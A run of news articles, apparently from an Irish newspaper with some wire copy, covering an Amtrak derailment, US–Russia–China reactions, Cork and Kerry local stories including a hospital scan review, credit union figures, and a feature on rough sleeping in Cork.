The back of his train car was wide open because it had separated from the rest of the train, so he and others were able to jump out to safety. He was at about the middle of the train, either the sixth or seventh car, he said, and was "one of the lucky ones".

Emma Shafer was headed home to Vancouver, Washington, on winter break from the Cornish College of the Arts in Seattle and was napping when the crash occurred.

She awoke to find her body at a 45-degree angle and her train car dangling from the overpass. Someone behind her was pinned by the legs, she said, and she and others who could walk exited the train by crawling onto a car underneath theirs that had been crushed.

"It felt oddly silent after the actual crashing. There was a lot of metal, a lot of screeching, a lot of being thrown around. It was very quiet. Then there was people screaming," Ms Shafer said.

Dr Nathan Selden, a neurosurgeon at the Oregon Health & Science University in Portland, said he and his son drove through the accident scene while travelling north to visit Seattle. The doctor asked if he could help and was ushered to a medical triage tent.

The most seriously injured had already been whisked away, but the patients he helped appeared to have open head wounds and skull, pelvic or leg fractures, as well as small cuts and neck sprains, he said.

He called it a miracle an infant child he saw from the scene appeared completely unharmed.

President Donald Trump used the deadly derailment to call for more infrastructure spending in a tweet sent about three hours after the accident. He said the wreck shows "more than ever why our soon to be submitted infrastructure plan must be approved quickly". The accident happened on a newly completed bypass.

The train was making the inaugural run on the new route as part of a $180m (152m) project designed to speed up service by removing passenger trains from a route along Puget Sound that is bogged down by curves, single-track tunnels and freight traffic.

The Amtrak Cascades service that runs from Vancouver, British Columbia, to Eugene, Oregon, is jointly owned by the Washington and Oregon transportation departments. Amtrak operates the service for the two states as a contractor and is responsible for day-to-day operations.

The Amtrak schedule called for the train to leave Seattle around 6am and arrive in Portland about three-and-a-half hours later.

The new bypass was built on an existing inland rail line that runs along Interstate 5 from Tacoma to DuPont, near where Train 501 derailed. Track testing began in January and February in advance of Monday's launch and continued through at least July, according to the Washington State Department of Transportation.

AP
The Kremlin has lambasted US president Donald Trumps new national security strategy as "imperial", but lauded the US for willing to cooperate with Russia in areas of common interest.

The strategy, published on Monday, is harsher on Russia than Mr Trump has been in public comments.

It accuses Russia of using "subversive measures" to weaken Americas credibility and European governments.

Dmitry Peskov, a spokesman for Russian President Vladimir Putin, told reporters that the mentions of Russia struck Moscow as "imperial" and showed "an aversion to a multi-polar world".

Mr Peskov, however, said Moscow was encouraged by calls to cooperate with Russia in areas that could be beneficial for the US.

Mr Putin and Mr Trump talked on the phone twice last week.

The Chinese government also criticised Mr Trumps decision to label Beijing a strategic rival and called on Washington to "abandon a Cold War mentality" and accept Chinas rise.

Mr Trumps decision reflects a "victory of hardliners" in his administration, the official Xinhua News Agency said.

It warned US-Chinese economic relations were likely to face "even more pressure and challenges".

Foreign ministry spokeswoman Hua Chunying said: "We urge the United States to stop deliberately distorting Chinas strategic intentions and abandon a Cold War mentality. Otherwise it will injure others and damage itself."

Mr Trumps report hit a series of sore spots for Beijing.

It affirmed ties with Taiwan, the self-ruled island the mainland government claims as its territory, and pledged to "re-energise our alliances" with south-east Asian governments, some of which have conflicts with China over claims to portions of the South China Sea.

The United States and China share one of the worlds biggest trading relationships and cooperate in areas from clean energy to public health. However, Beijing sees Washington as an obstacle to its ambitions to be East Asias dominant power, and strains over Taiwan, trade, technology policy and the South China Sea are growing.

"It is selfish to put your national interest above other countries interest and the mutual interest of the international community," said the Chinese Embassy in Washington in a statement.

"The Chinese side is willing to have peaceful coexistence with all countries.

"The United States should also adapt and accept Chinas development."

US officials are uneasy about Beijings rising military spending- already the second-highest behind Washington. They see President Xi Jinpings "Belt and Road Initiative", a project to build railways and other infrastructure across countries from Asia to Europe and Africa, as part of efforts to erode American influence and nurture a China-centred political structure.

Especially sensitive is Taiwan, the democratic island Beijing has declared a "core interest" over which it will go to war, if necessary.

Mr Trumps report promises to "maintain our strong ties with Taiwan" and provide for its "legitimate defence needs".

China has taken a tougher stance toward Taiwan since last years election of President Tsai Ing-wen, who has refused to endorse Beijings contention that Taiwan is part of the Chinese nation.

Chinese commentators speculate on the possible need for military steps to put pressure on Taiwan.

- Press Association
Gardai and Crimestoppers yesterday launched an appeal for information relating to the attack on a young woman who was dragged into a secluded area where she was subjected to a violent sexual assault.

She had been walking in the direction of Fonthill Rd with her bicycle on Lucan Newlands Rd, Clondalkin, at 3.05am on Thursday July 28, 2016.

There were three men involved in the attack, which lasted up to 15 minutes, and it is thought likely that the males involved had been in the area for some time beforehand.

Detective Inspector Mark ONeill of Lucan Garda Station told the Irish Examiner that investigations into the attack are ongoing.

We have descriptions of the three persons involved, he said. One is 6ft tall in his early 20s and of strong build, while the other two were smaller, around 57. All three were wearing dark clothing with their hoods up.

Were appealing for anyone who remembers seeing men matching that description on the night to contact us. The local community generally was very helpful at the time.

Det Insp ONeill said CCTV footage was harvested at the time, and that local information proved useful.

We have received a lot of assistance which has generated a number of lines of inquiry, he said.

We are hoping that someone else knows something that may be that final piece of the jigsaw. Our message is that this is an open case and we are actively working on it.

Crimestoppers and the gardai are keen to hear from anyone who was in the area between 1am and 3.30am on July 28, 2016. They also want to hear from individuals who may have any information in relation to the incident.

Anybody with information can call Crimestoppers on 1800 25 00 25. Calls to Crimestoppers are completely anonymous and callers do not need to leave their name or address. Callers can claim a reward for information which significantly helps the investigation.
In its report, Financial Conditions of Credit Unions: 2012-2017, the second such report following one issued last February, the Central Bank said there had been growth in new lending and a decrease in the level of reported arrears.

Total assets increased by 3.1bn between 2012 and 2017 and currently stand at 16.8bn, while members savings rose by 2.3bn in the same period.

The loan-to-asset ratio dropped from 37% in 2012 to 27% in 2015 and has remained at that level.

Average loan arrears also fell from 19.6% in 2012 to 7.4% in 2017 and the report said there was strong liquidity in the sector.

There was also a reduction in income over the same period, however, driven in particular by the decrease in loan interest income related to the decline in credit union lending since 2012. There had also been a fall in investment income.

Patrick Casey, registrar of Credit Unions, wrote in the report that credit unions need to exploit their uniqueness and secure the right mix of services and products.

Reacting to the report, the Irish League of Credit Unions (ILCU) said its affiliate members were in a positive financial position, with lending having increased over the past two years.

It also welcomed the stabilising of the loan-to-asset ratio across the sector and it noted significant progress on arrears, with loan arrears down 73% since 2011.

It said growing the loan book would continue to be a priority and that the ILCU has been working with credit unions to develop prudent, long-term lending strategies, such as a centralised, residential mortgage solution.

The ILCU said it had developed a comprehensive proposal outlining how surplus credit union funds could be used for social housing and had been lobbying the government on the issue, as well as seeking support from the Central Bank to broaden the investment classes credit unions can participate in.

Kevin Johnson of the Credit Union Development Association said: We would like to see the urgent introduction of tiered regulations as set out by the Commission on Credit Unions to enable them to lend out some of the 6bn available to lend.

A modernisation of the current regulations will allow some credit unions to continue offering basic savings and loans only, while allowing other credit unions to develop and offer a greater range of services.

centralbank.ie
Wishbone restaurant donated all of its takings yesterday to Focus Ireland and Inner City Helping Homeless (ICHH). At one stage it got so busy that staff were forced to turn away potential diners.

Its doing really well Id say weve turned away about 150 people already, said owner James Stimpson.

He said he would have loved to have sat every single customer but the tables filled up too fast.

I would sit you on the roof if my insurance would allow it, but its been mad, its a feel-good factor as well, said James.

We have 65 sittings and Id say weve flipped it twice already and then well do another sitting and then we have to close for an hour or two just to prep for the evening time and then tonight is really, really busy as well, he said yesterday afternoon.

Hopefully, now well get a nice few bob together.

James, who opened the restaurant just over a year ago, hoped to have raised 6,000 yesterday as Monday is generally a busy day for his business.

Queues at Dublin's Wishbone restaurant giving all its takings to homelessness today

Monday is a really good day and Sunday would be our quietest day, he said. I have a figure in my head that I would love to hit. Id love to hit maybe 6,000.

Were paying our staff, we cover the food, so everything is going to charity. If the takings are seven grand, seven grand is going to charity.

Adrian Cummins, CEO of the Restaurant Association of Ireland (RAI) said that December is the busiest month of the year for the restaurants and that they often need to rely on the months takings to cover the months ahead.

However, James described it as a nice thing to do.

Look, its our first year in business and weve done really well, he said. Im not saying weve made a lot of money but we have done really well.

Our first year in business was in October and we did a day of free chicken wings and there was a queue around the corner and we gave out 450 portions of wings.

Yeah, December is the busiest time for us but its nice to do it, it really is and we can afford to do it.

The idea came to him after walking past groups of homeless people every morning and evening on his way to and from work.

He said: Im from Malahide so I always get the Dart to Pearse [Station] and I walk up so at the very start I was doing days and nights so Id walk up in the morning and walk down in the night so it was just really, really sad the reality, it was just horrible seeing everyone out in the freezing cold.

After the success of yesterdays event, he now plans to host one such day every quarter for different charities.

This year I wanted to do something for the homeless, said James. The next one were going to is for maybe a childrens hospital, then maybe do something for cancer research and then maybe for suicide.

The busy restaurant, which is located just off s Harcourt St and has its own secret sauces for chicken wings as created by James, is planning four more restaurants around the country as well as franchises.
A briefing for councillors, TDs and health forum members focused on the workload placed on the individual staff member. There was strong criticism also of HSE policy with regard to informing the public and the media.

In response to a query about the staff member from the Mayor of Tralee Norma Foley, Gerard OCallaghan of the HSE said the consultant radiologist had previously worked in the UK and Canada.

One of the biggest ever look-backs in this country  involving 46,000 files including reports of scans, X-rays and ultrasound imaging involving more than 26,000 patients  is under way after three missed cancer diagnoses which came to light in July. The review has been under way since October.

The Irish Examiner understands the three cases which sparked the look-back and which had been missed were very obvious cancers.

They were followed by another four serious cases which had also been missed or misdiagnosed and those scans had taken place prior to July.

However questions were being raised by individual GPs and consultants prior to July, it also emerged.

Management revealed the additional serious misdiagnosed cancer cases following questioning by Cllr Toireasa Ferris (SF) who said she had been contacted by a fourth family since news broke of the review through the media on Sunday.

This morning I spoke to the family of a constituent from Kerry who had a scan in early summer and as a result of an erroneous report on that scan received a delayed diagnosis for a serious cancer, she said. Ms Ferris said had the family known they would have paid for a private scan but the cancer was now inoperable.

The review got under way in October. As of Monday 20,923 scans relating to 12,923 patients have now been reviewed by radiologists and there has been no major discrepancy found. The reviewers are working backwards chronologically from July and have so far covered the 2017 period. It will take a further 10 weeks to complete.

The review team of six external radiologists is being increased by two, Health Minister Harris had ordered.

The look back under way in Tralee was one of the biggest ever in this country, and Department of Health knew of it since July, according to Gerard OCallaghan of the HSE.

Concerns had been raised earlier in the year about the work of the consultant radiologist but these were less serious, Dr Claire OBrien, clinical director, confirmed.

A workload of 46,000 scans, X-rays and ultrasound images and reports by one individual over 16 months is astonishing, councillors and TDs said.

At first, the seven senior HSE personnel and hospital management team insisted the issue was wholly related to competence of one individual.

However, Cllr Aoife Thornton ( FG) said she could not accept that analysis. Other representatives also warned against scapegoating an individual.

Ms Thornton, a solicitor by profession said: I am not convinced it is about competence. I am not satisfied its competency, that it is not workload.

Fergal Grimes, UHK hospital manager, said the five-member radiology team was commensurate with the size of UHK. However, he also revealed some radiology department work was being outsourced to release pressure on the department.

General manager of University Hospital Kerry, Fearghal Grimes, at a press conference in the hospital. The hospital is conducting a review of over 46,000 scans or files that involve over 26,700 patients in an area that includes Kerry, North Cork and South Limerick. To date, 18,000 scans have been reviewed. Pictures: Domnick Walsh/ Eye Focus

If there are concerns regarding the workload on individuals that would be addressed, as part of the review, Mr Grimes also said.

Earlier, local GP Dr Gary Stack of Killarney said he would have raised concerns in relation to a small number of X-rays earlier in the year.

There was nothing major but the reports back raised the practices concerns. It was only when a number of other GPs and consultants also raised concerns that alarm bells would have gone off, he believed.

Concerns raised over workload of clinician in Kerry scans

- Evelyn Ring

Fianna Fail health spokesman Billy Kelleher has said the workload of the clinician at the centre of the Kerry scans controversy would have been very heavy for any person.

It has emerged that 46,000 scans taken at University Hospital Kerry, including X-rays, CAT scans, and ultrasounds, need to be reviewed because of concerns about the clinical abilities of the person who examined them.

Mr Kelleher said many of the patients affected would have rightly thought that their health worries were behind them.

To now find out that their scans need to be reviewed will cause severe anxiety and my heart goes out to them, he said.

Mr Kelleher said Health Minister Simon Harris needs to explain what he knew and when he knew it.

A hands-off approach, which is Minister Harris usual modus operandi, is not acceptable in this instance, he said.

The minister needs to set out what he is doing to prevent incidents like this from happening in the future at this or, indeed, any other hospital.

Mr Kelleher said he was concerned that one person was responsible for reviewing so many different scans.

Its clear to me that, irrespective of their clinical abilities, this is a very heavy workload for any person.

Celia Cronin, patient manager SSWHG. The hospital recalled 21 patients to have repeat investigations carried out, but no further action was required

He said it seemed there was no oversight of the persons work to ensure that mistakes were spotted.

It is not the first time that University Hospital Kerry has been at the centre of a radiological investigation.

In April 2015 the HSE said six patients were recalled following a review conducted between July and August 2013, but there were no harm events.

The locum consultant radiologist at the centre of the review was reported to the Medical Council in 2013.

Mr Kelleher said the clinical review team involved in the current review is due to complete its work in March.

There can be no slippage in terms of meeting this target. Too many people are anxiously awaiting news of their own review, and the sooner its completed, the better for everyone concerned, he said.

A spokesperson for the South/South West Hospitals Group said a look back process with independent oversight is under way on a portion of radiology investigations carried out between March 2016 and July 2017.

The review is expected to be completed within eight to 10 weeks. Since October 18,000 images have been reviewed and 21 patients recalled, but none have required further action.

Labour health spokesman Alan Kelly asked why the public is only finding out now about the review.

His Kerry colleagues, Cllr Graham Spring and Cllr Terry OBrien, told him there is enormous concern in the locality because of the misdiagnosed scans.

Mr Kelly said there must be an independent review of what happened.

Cllr Toireasa Ferris (SF) called for a full explanation of how 26,700 patients are now having their scans reviewed because of concerns around potential misdiagnoses.

My information is that concerns may have been expressed some time ago that there may have been an issue with scans, she said.

Incidents such as this damage confidence in our public health services, but delays in addressing them are of equal concern.

Q&A: The who, what, when, where, and patients affected

- Evelyn Ring

When did the hospital realise there was a problem?

Towards the end of July, this year management was alerted about a missed cancer diagnosis for one patient.

In August two other cases of a serious nature were identified that resulted in patients getting a delayed cancer diagnosis.

Who is affected?

Over 26,000 patients are involved in the review of 46,000 X-rays, ultrasound and CT scans.

Where are they from?

The patients at the centre of the investigation are from the hospitals catchment that includes Kerry, North Cork and South Limerick.

When did the review start?

It started in October, and the scans were all taken between March 2016 and July 2017.

What has the review discovered?

The HSE has said no critical failures have been identified since three delayed cancer diagnoses emerged during the summer.

hseLogoUSETHISONE_large.jpg[/timcap]

Have patients been called back as a result of the review?

The hospital recalled 21 patients to have repeat investigations carried out, but no further action was required.

How many scans have been reviewed?

A hospital radiologist, together with six external radiologists, have reviewed 18,000 scans.

The hospital hopes to complete the review in eight to ten weeks.

What are radiologists looking for?

The radiologists are looking for possible abnormalities but are most concerned that there may be a delay in a cancer diagnosis.

What is also on their checklist?

They are looking out for missed infections, missed bone fractures, heart failure and diseases that affect the organs.

What happens if there is concern that a patient requires a repeat investigation?

A clinical member of the hospital will contact the patient and his or her family to arrange a further investigation and any follow-up care that may be required.

How did the need for such a major review arise?

The work of one individual  a previous employee of the hospital  is being examined.

The person has resigned from the hospital.

Does the hospital know if the former staff member at the centre of the review worked anywhere else or is working somewhere now?

The hospital said it was not in a position to answer this question.

How do the radiographers working at the hospital feel?

According to Siptu, the hospitals X-ray department is a very unhappy place to work in.

What do the radiographers want?

They want more personnel and equipment. A report published in December 2016 identified a deficit in staff levels.

Does the hospital agree with the unions argument on staff and equipment?

Clinical director of University Hospital Kerry, Dr Claire OBrien, said they believed that the department was safe and the service was appropriate.

What is her chief concern?

It is about the work of an individual who worked in the hospital and who is not a radiographer.

But more radiologists are needed according to Siptu. Does she agree?

Dr OBrien said the resourcing of the radiology department in such a busy hospital was always challenging, but management was dealing with the situation.

What about the particular case being looked at?

The director said it was not a resource issue that impacted on the work of the individual that is now being examined by radiologists.

Why did the hospital not announce that a major review was under way?

The hospital believed that while it was a large-scale review, the number of people affected would be very small.

What about transparency?

The hospital said it did not want to cause unnecessary worry and distress for patients.

Was the hospital correct in believing that the numbers would be quite small at this stage of the investigation?

Yes, because it has now reported on a substantial number of the radiology images.

How does the process work?

A clinical co-ordinator has been identified to co-ordinate as necessary with patients, arranging appropriate clinical follow-up.

Any patients needing urgent intervention will be immediately contacted before the full audit is complete.

Timeline

- Evelyn Ring
Marking Christmas 2017 as the period in which the 17-storey tower and wings finally came to life on a Gateway site next to Corks City Hall, 600 Elysian occupiers last night lit up their apartments for a brief, shining period in a gesture of final arrival.

As luck had it, the evening for the Elysians dramatic skyline salutation was shrouded in day-long, and into-the-night, fog.

However, the lights-on symbolic gesture does signal the end of a very long, and drawn out chapter of vacancy and unfulfilled hopes, as the Elysian (the tallest tower in the country for a period) now ventures into 2018 with a 100m price tag on its crown, likely to be bought by an international fund eyeing its 4m-5m rental income stream.

Delivered on a three-acre city site bought from An Post for 15m, the development by OFlynn Construction and designed by Wilson Architecture was valued at 150m on launch, fatefully two days after Lehman Brothers filed for bankruptcy in the US. Its target market was affluent owner-occupiers for the 211 Cork city apartments, including a number of 2,500 sq ft penthouses, at launch prices from 375,000 to 1.8m.

ACC Bank moved into the ground floor in 2008. Since then, ACC and its successor Rabo have departed Ireland; a high-profile retail unit that now holds a successful Aldi and other commercial space is finally filling up too, 10 years on.

In 2014, US equity giant Blackstone acquired 1.8bn of OFlynn Construction debt and assets from Nama for 1.1bn. After a high-stakes High Court skirmish and 400m consensual settlement, OFlynns agreed a deal with Blackstone, in which they bought back development sites, and also continued to manage the Elysian building, completing its internal fitout over the past year for Blackstone and for the rental market.

Now being flipped to international buyers by Blackstone, rents are as lofty as the 81m tower with its signal, colour-shifting beacon. They range from one-beds at 1,300 per month, to 3,500 for the largest penthouses, according to estate agents Lisney, who say the penthouses are popular with families with young children relocating from abroad to Cork for new jobs, and new starts.

Lisneys Trish Stokes, who has bene involved with the building since the mid-2000s, last night said: It is great to see The Elysian fully occupied, and you can really appreciate this in the dark winter evenings when all the lights are on, particularly in the tower.
Councillors voted last night in support of city mayor Tony Fitzgeralds formal request to Local Government Minister Eoghan Murphy to legislate following Cork County Councils rejection of a compromise boundary plan on Friday.

Mr Fitzgerald notified county mayor Declan Hurley of the outcome of the vote by phone afterwards.

The vote was taken during a special city council meeting held to discuss the ministers call for agreement between both local authorities on the boundary issue.

Mr Murphy made the call after the Cabinet accepted the implementation oversight groups (IOG) compromise boundary extension report, which recommends that Ballincollig, Blarney, Tower, Glanmire, and Cork Airport become part of an expanded city.

He said if both councils agreed on the deal, it would allow him to use a ministerial order, rather than legislation, to give effect to the extension.

When county councillors rejected the IOG report on Friday, Mr Hurley said he would make immediate contact seeking urgent talks with Mr Fitzgerald to discuss the boundary further.

Mr Fitzgerald told city councillors last night he did not receive that correspondence until 1.56pm yesterday.

In that letter, Mr Hurley said significant progress has been made towards a positive resolution but he requested immediate discussions in order to progress an urgent final agreement between both councils on the boundary issue.

He said he is confident that these can be resolved locally through mature and meaningful discussion.

Mr Fitzgerald said the compromise, which emerged from talks two weeks ago, was described by Mr Hurley at the time as a solid base to move forward and as great news for Cork.

He said: I again reiterate that Government has approved the recommendations of the IOG. It is clear, in view of the decision of Cork County Council, to reject the IOG proposal for the extended boundary, that primary legislation will be needed to implement it.

I formally propose that the city council would now request the Minister for Housing, Planning, and Local Government to move swiftly to bring forward the necessary legislation.

A vote was called and councillors voted 24 for, with three abstentions, in favour of the mayors proposal. Mr Fitzgerald said it was effectively a unanimous vote.

Workers Party councillor Ted Tynan and Solidarity councillors Fiona Ryan and Marion OSullivan abstained.

Ms Ryan said Solidarity abstained because it believes the proposed extension does not go far enough and should include Little Island and Passage West.

Fianna Fail councillor Terry Shannon said it is clear county councillors had dealt with the negotiations in bad faith while Sinn Fein councillor Chris OLeary said county councillors who rejected the IOG deal were a bunch of deluded gombeens.

Fianna Fail councillor Tim Brosnan said he plans to write to Mr Murphy urging him to implement the full Mackinnon extension.
Officials from the local authority met department representatives on April 19 last, at a time when developers BAM, which had won a public tender for 20m in state aid to develop the venue on the Beamish and Crawford site, had requested a further 18m in public funding.

Peter Horgan, the Labour Party representative in Cork, sought the minutes of this meeting under the Freedom of Information Act but had his request rejected on the grounds that such records do not exist.
Analysis of records of the Revenue Commissioners, the Department of Employment Affairs and Social Protection, and the CSO also shows the number of PPSNs issued to foreign nationals was almost double the number issued in 2012, when 57,946 foreign nationals aged 15 and over were assigned PPSNs. Of that 2012 cohort, the analysis shows 13,759 had some employment activity at some stage during last year.

UK nationals have consistently topped the table over the years when it comes to being issued Irish PPSNs  last year 15,917 PPSNs were issued to UK citizens.

Romanians were in second place and Poles in third, followed by Brazilians and Italians. Last year, 5,312 Croatians received an Irish PPSN, compared with just 86 as recently as 2012.

Across all ages, some 107,767 PPSNs were issued last year, an increase of almost 14% compared with the figure for 2015.

When it came to those of working age, most were employed in just a few sectors, with accommodation and food service activities, wholesale and retail trade, repair of motor vehicles and motorcycles, administrative and support service activities, manufacturing, and the information and communication sectors accounting for 64% of all those aged 15 and over issued PPSNs.

Regarding social welfare activity, it fell to 8.9% last year among those allocated a PPSN, a fall of 1.9% from the 2015 rate of 10.8%. In 2016, 9,780 (16.9%) of the 57,946 PPSN allocations from 2011 recorded social welfare activity. The largest percentage of 2011 allocations to have social welfare activity in 2016 was the EU25 to EU28 states with 27.2% of the 3,704 allocations to those countries in 2011 recording social welfare activity last year. The comparable rate for the EU15 to EU25 states was 26%.

According to the figures, 410,939 foreign nationals who were assigned PPSNs during the period 2002-2016 recorded some employment during 2016. It also shows that, over the same period, 12 North Koreans have been issued Irish PPSNs, but none since 2012, and that 589 people from countries unknown have been given PPSNs, including 101 last year. A spokesperson for the CSO said in some cases this could be a clerical issue, and in other instances, certain countries may no longer exist.

A foreign national must be living in Ireland to apply for a PPS number and they must show that one is required for a transaction with a specified body. However, there are some exceptions, such as someone who is a beneficiary under an Irish will.
The finding emerges from questions to fourth-class teachers at the same time their pupils were tested in maths and science two years ago.

It is already known that the amount of time given to teaching science in Irish primary schools is less than in any other country that took part in TIMSS 2015, an international study across 56 countries. While Irish pupils were among the best performers in science, and results improved significantly since the previous test in 2011, children in 15 other countries got significantly better scores.

The Educational Research Centre (ERC) in Dublin said the time given to teaching science in Ireland halved from 63 to 32 hours a year since the previous test in 2011.

The ERC analysts believe this is likely to be linked to the greater time devoted to reading and maths under the Governments numeracy and literacy strategy. The same strategy was credited earlier this month with significant improvements in the reading ability of fourth-class pupils between 2011 and the latest parallel tests for reading done last year.

The age profile and the length of teaching experience among Irish pupils teachers was relatively lower than in most other countries. The 10 years experience of the average teacher here was six years less than all those in the TIMSS study area.

On the basis of responses to teacher questionnaires, it emerged that one-quarter of Irish children whose teachers have been in the job for less than three years experience scientific investigation in at least half their science classes.

That compares to just 15% of pupils whose teachers are working three to five years, although one-fifth of those with longer-serving teachers experience experiments and other active teaching methods regularly in class.

The new teachers were less inclined to read textbooks to the class or have pupils listen to them explain new science content.

The different teaching practices have been linked to changes to teacher education. Those who have qualified more recently are likely to have experienced an increased emphasis on inquiry-based methods, which past research strongly links to better attitudes and understanding of science among primary pupils.

As well as teacher experience, the methods used in schools with different status was also compared, and showed that active teaching is less likely to be used in disadvantaged schools.

Aidan Clerkin, one of the ERC report authors, said Irish teachers were much less confident in teaching science than they are in maths.

They also noted that participation in science-related professional development in the two years leading up to the survey was relatively rare, which suggests that there may be scope for additional support for teachers on this front, he said.
Finbarr Savage, aged 43, of 119 Glenamoy Lawn, Mayfield, Cork, was remanded in custody by Judge Olann Kelleher until December 22.

Garda Dermot Broughton arrested Mr Savage on Sunday afternoon and charged him with causing criminal damage to the 2015-registered patrol van and producing two knives  one a carving knife  at Mayfield Garda Station.

Detective Garda Edmund ODonoghue said the defendants thought process was truly chilling.

It was alleged he wanted to provoke armed members of An Garda Siochana to shoot him dead. The detective said: 

His intention was to attack or kill a guard  whatever he had to do so that they would shoot him.

Mr Savage allegedly carried a change of clothing in case he needed to evade capture if it worked out differently or to be used as a change of clothes, if required, in a mortuary.

Insp Ronan Kennelly said gardai were afraid he would commit serious offences if released on bail.

Frank Buttimer, solicitor, said the defendant had been in the psychiatric unit of a hospital after he lost his job a fortnight ago, but was put out on Saturday.

Mr Savage said he would not do anything like what was alleged in relation to him on Sunday if he was released from custody. He said all he wanted was to get his medication from his doctor.

Mr Buttimer said: I am not putting a plea of guilty but it [what is alleged against Savage] is a very bizarre way to go about it. But it is some kind of bizarre cry for help. He wants to get back into a psychiatric unit for attention.
Mary Crilly said the figures better represent the reality of rape in Ireland and show that co-operation between the centre and gardai is working.

I, for one, welcome the increase in these figures, she said. The rise in these figures is coming a bit closer to the reality of rape in this city.

She was speaking after a meeting of the Cork City Joint Policing Committee yesterday heard that the number of reported rapes of a male or female has jumped from 13 between January and November 2016 to 40 for the same period this year  a 208% increase.

Chief Superintendent Barry McPolin said the figures have risen in other parts of the country as well and that further analysis is needed to determine why there has been such an increase in the Cork figures.

However ,he said, many of the reported cases are historical and the spike in figures most likely reflects greater confidence among victims of rape to report the crime to gardai.

He also said the establishment just over a year ago of a dedicated garda unit to investigate rape and sexual assault, the Divisional Protective Services Unit, which comprises a detective inspector, two detective sergeants and 10 detective gardai, has helped streamline the investigation of rape and sexual assault.

However, Ms Crilly said that, despite the enhanced garda unit, rape remains one of the most unreported crimes in Ireland, and victims still blame themselves.

The fact is that one in five adult females is raped or is the victim of sexual assault in their lifetime but only one in four of these cases is reported, she said.

And the fact is that 80% of girls who are raped are raped by someone they know or trust.

She said the Sexual Assault Treatment Unit in the South Infirmary Victoria Hospital has conducted more than 130 forensic examinations so far this year.

Not all those examined were from Cork, and not all had a garda present, she said.

However, Ms Crilly said the volume of tests conducted, as compared to the number of reported rapes, shows just how much work remains to be done.

Whats heartbreaking, what makes me angry, and why I keep going, is that victims still feel its their fault. Thats what drives me mad, she said.

Everything that comes from them reinforces that they were in some way to blame.

We need to change the conversation about the guys that are doing this. The minority of guys who are doing this will continue to do it, and thats what we need to stop.

The Cork Sexual Violence Centre worked with 247 clients this year and fielded 1,500 calls.

You can contact the centre on 1800 496 496 or visit the website here.
On a freezing Friday night in Cork, a homeless woman asks volunteers for pyjamas ahead of her hospitalisation.

Although none are available, she seems close to tears of happiness at the thought of hospital: warmth, comfort, a bed, and regular meals.

The woman is Kathleen OSullivan and she will be dead within a month.

Patrick St sparkles under Christmas lights, as well-wrapped shoppers bustle by, their breath hanging in the air.

Every doorway seems to be home to a person swaddled in a sleeping bag.

Outside Brown Thomas, a crowd has gathered by the Rotary Christmas tree.

A dozen or so volunteers in hi-vis jackets mingle with homeless people, as the Christian charity, Hope for the Homeless, sets up its tent, food stall, and metal chairs in a street-cafe-style circle, where people can drink tea and talk.

Gillian Horgan addresses the crowd, calling for hush.

Horgan is a member of Cobhs Good News Christian Church, and she founded Hope for the Homeless last September.

On Saturday afternoons, at the Haven Cafe on Bachelors Quay, they offer free meals to homeless people.

Were Christian, but we dont force religion on anyone. We dont put pressure on people and we dont force prayer on anyone.

Another woman then leads the crowd in prayer. She struggles to be heard, as some continue to talk.

Thank you, Jesus, for this night Thank you for the hope we have and the light you give Help us to show love and shine the light of God

At the tent, volunteers give out teas and coffees, and distribute a colourful confusion of clothing and footwear, to a disorganised crush.

Some in the queue are intoxicated, but most are sober.

The donated clothing is clean and dry, but often not what is needed.

Most urgently-required are socks, underwear, gloves, sleeping bags, jackets and hats, and most of those go early.

This night, Kathleen OSullivan chats with a Hope for the Homeless volunteer. They both seem delighted to see each other. Kathleen has a very kind smile and looks older than her 44 years.

Kathleen OSullivan, right, who died sleeping rough in Cork, pictured with her niece, Nikita.

A week earlier, I had met Kathleen. She told me that troubles in her life, including the death of her son, Anthony, had led to her homelessness over a few years. She said she had pleurisy and pneumonia.

I wont survive another winter on the streets, she said, as she sheltered in a doorway at the back of the Clayton Hotel.

It was in that doorway, she said, that her aunt had died seven years ago. She couldnt know it, but it would be in that same doorway that Kathleen would die, on Wednesday, December 6.

Cork Simon has been operating over-capacity for many months, and Cork has no night cafe or wet shelter. If you are turned away from Simon  because the shelter is full, or because you are intoxicated or abusive  there is nowhere else to go.

Cork Simon provides emergency beds for an average of 53 people per night, with their winter shelter taking in 11 or 12 extra people.

Exact figures are not available for how many people are unable to avail of shelter, but I met 10 people outside Simon, late one recent Friday night, and they told me they could not get in.

Two young men wander up from Winthrop St, the taller man drinking from a plastic bottle. His friend is in a bad way, reeling and bumping into people.

He wears a puffy grey jacket, which he attempts to remove, before breaking away in a circular run.

A volunteer persuades him to sit on one of the metal chairs, and gives him a cup of tea.

A powerfully-built young man is urinating in the doorway of Vodafone, roaring Goodbye to the tent and the old caravan, to the tinker, the gypsy, the travelling man. After a while, he returns to drinking a can of beer.

By the Christmas tree, a man greets both the young man in the puffy jacket and his taller friend. The taller man offers his bottle. He declines, saying he cant handle vodka. The man in the puffy jacket challenges him to a fight. The other man tells him youre a daycent feen. Drive on, before the Shades lift you.

There is a crash, as the man in the puffy jacket flings a metal chair. He veers off down Winthrop St, bumping against a woman. She grabs him by the throat and pins him to the window of Brown Thomas. Volunteers rush to separate them, and Gillian phones the gardai.

At the wrong end of the tent, where tea and coffee is distributed, Romanian homeless people gesture for shoes and jackets. When one volunteer is told they dont understand, he replies not my problem.

Another volunteer says theyd clean you out.

Among the homeless, too, racial tensions are obvious.

One of the women says many homeless Irish resent the Romanians, because theyve caused a crack-down by the guards.

Two gardai arrive in a van, 45 minutes after Gillian called them. Gillian notes its a busy Friday night. The young man has lost his puffy jacket and is sitting in a bus shelter, resting his head on Gillians shoulder.

He seems almost at peace. Arresting him for his own safety, the gardai are extraordinarily gentle. Guiding him into the back of the van, they hand him his puffy jacket.

Last month, Eileen Gleeson, of the Dublin Homeless Executive, caused controversy by suggesting that volunteers are not helping the homeless crisis.

One volunteer, who asks not to be named, says that although tonights volunteers clearly mean well, their approach seems disorganised.

Concerns are also voiced about the lack of garda-vetting of some volunteers and that some street pastors pray over people who are less than enthusiastic.

Gillian Horgan says plans are in train to have all volunteers garda-vetted for the new year. On the issue of evangelising, she reiterates her strong opposition to forcing religion on people.

One first-responder says Corks rough-sleeping problem is getting worse.

He says there are many new volunteers, with small groups going out seven nights a week.

However, there are too many splinter groups within the volunteer community, and greater co-ordination

and oversight is required for the service to be more effective.

Notwithstanding these shortcomings, it is clear that compassionate volunteers, like Hope for the Homeless, are all that stand between some of Corks homeless and a cold, hungry night on the streets.

So long as homeless people are forced to sleep rough, so long as Cork has no wet hostel or night cafe, volunteers are all they have.

Get rid of volunteers and the homeless person will still sleep in a doorway, says a volunteer who was previously homeless.

The only difference is that without volunteers, theyll sleep hungry.

